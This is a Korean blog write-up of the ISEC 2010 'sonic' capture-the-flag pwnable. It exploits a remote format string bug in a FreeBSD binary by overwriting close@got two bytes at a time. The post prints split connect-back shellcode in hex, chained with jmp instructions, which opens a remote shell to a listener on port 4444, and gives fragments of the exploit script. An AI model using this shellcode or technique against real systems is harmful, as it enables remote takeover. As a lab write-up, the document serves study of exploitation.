Category : Pwnables
NULL |
Summary : remote format string vulnerability , chaining shellcode
[pwn3r@localhost sonic]$ file sonic sonic: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 8.1, stripped |
[pwn3r@localhost sonic]$ nc 192.168.123.129 2080 Password : pwn3r # Connection refused |
void __fastcall main(int a1, int a2, char a3) v22 = a1; |
client로부터 데이터를 전송받고 , 전송받은 데이터가 특정 문자열과 같은지 검사하여 같으면 다른문자열을 전송받고 특정 문자열과 비교하는 과정을 반복한다.
그리고 introduce배열에 데이터를 수신하면 포맷스트링없이 배열을 그대로 출력하기때문에 format string vulnerability가 발생한다.
close@got를 쉘코드의 주소로 덮어주면 되지만 , introduce배열에 데이터를 최대 20byte까지만 수신하기때문에 format string vulnerability로 한번에 4byte의 데이터를 덮어주긴힘들다.
그런데 "rejoin?(y/n)"이란문자열을 수신했을때 "y"를 전송해주면 위에서 설명했던과정을 한번더 수행하기때문에 2byte씩 덮어줌으로써 문제점을 해결할수 있다.
그런데 또다른문제점은 , 쉘코드를 넣어줄 크기의 지역변수가 없다는점이다. 30byte의 배열이 여러개 있긴하지만 , 배열의 앞부분에 넣어줘야하는 문자열이 있기때문에 실제로 쓸수 있는 공간은 모두 분리되어있다.
이는 쉘코드를 여러개로 나누어서 jmp코드로 연결해줌으로써 해결할 수 있다.
0x8049680 <buf>: push $0x837ba8c0 -> (gdb) x/17bx 0x8049680 =========> "\x68\xc0\xa8\x7b\x83\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50\x6a\x01" (17byte) ----------------------------------------------------------------------------- 0x8049691 <buf+17>: push $0x2 ->(gdb) x/17bx 0x8049691 ====================> "\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62\x58\xcd\x80\x50" (17byte) ----------------------------------------------------------------------------- 0x80496a2 <buf+34>: push $0x5a
============> "\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68\x2f\x2f\x73\x68" (15byte) -----------------------------------------------------------------------------
===========> "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80" (15byte) |
jmp코드를 이용해 떨어져있는 쉘코드들을 연결했다.
exploit.py |
#!/usr/bin/python from socket import *
close_got = 0x804a35c for ret in range(0xbfbfec00 , 0xbfbeffff , -2): |
[pwn3r@localhost sonic]$ ./exploit.py & nc -lv 4444 |
pwned :)
p.s. ISEC2010때 본선가셨던분께 얻은 문제바이너리를 풀어본것입니다 (제가 가서풀었던거 쓴게아닙니다 :)
'CTF' 카테고리의 다른 글
Secuinside 2012 Quals - Dethstarr (Exploit only) (0) | 2012.10.07 |
---|---|
2011 Holy-Shield Hacking Festival Report (4) | 2011.11.29 |
ISEC 2010 본선 CTF - skeleton (0) | 2011.10.13 |
HDCON 2011 본선 CTF - lucky (4) | 2011.10.13 |
2011 HUST Hacking Festival - M (0) | 2011.10.03 |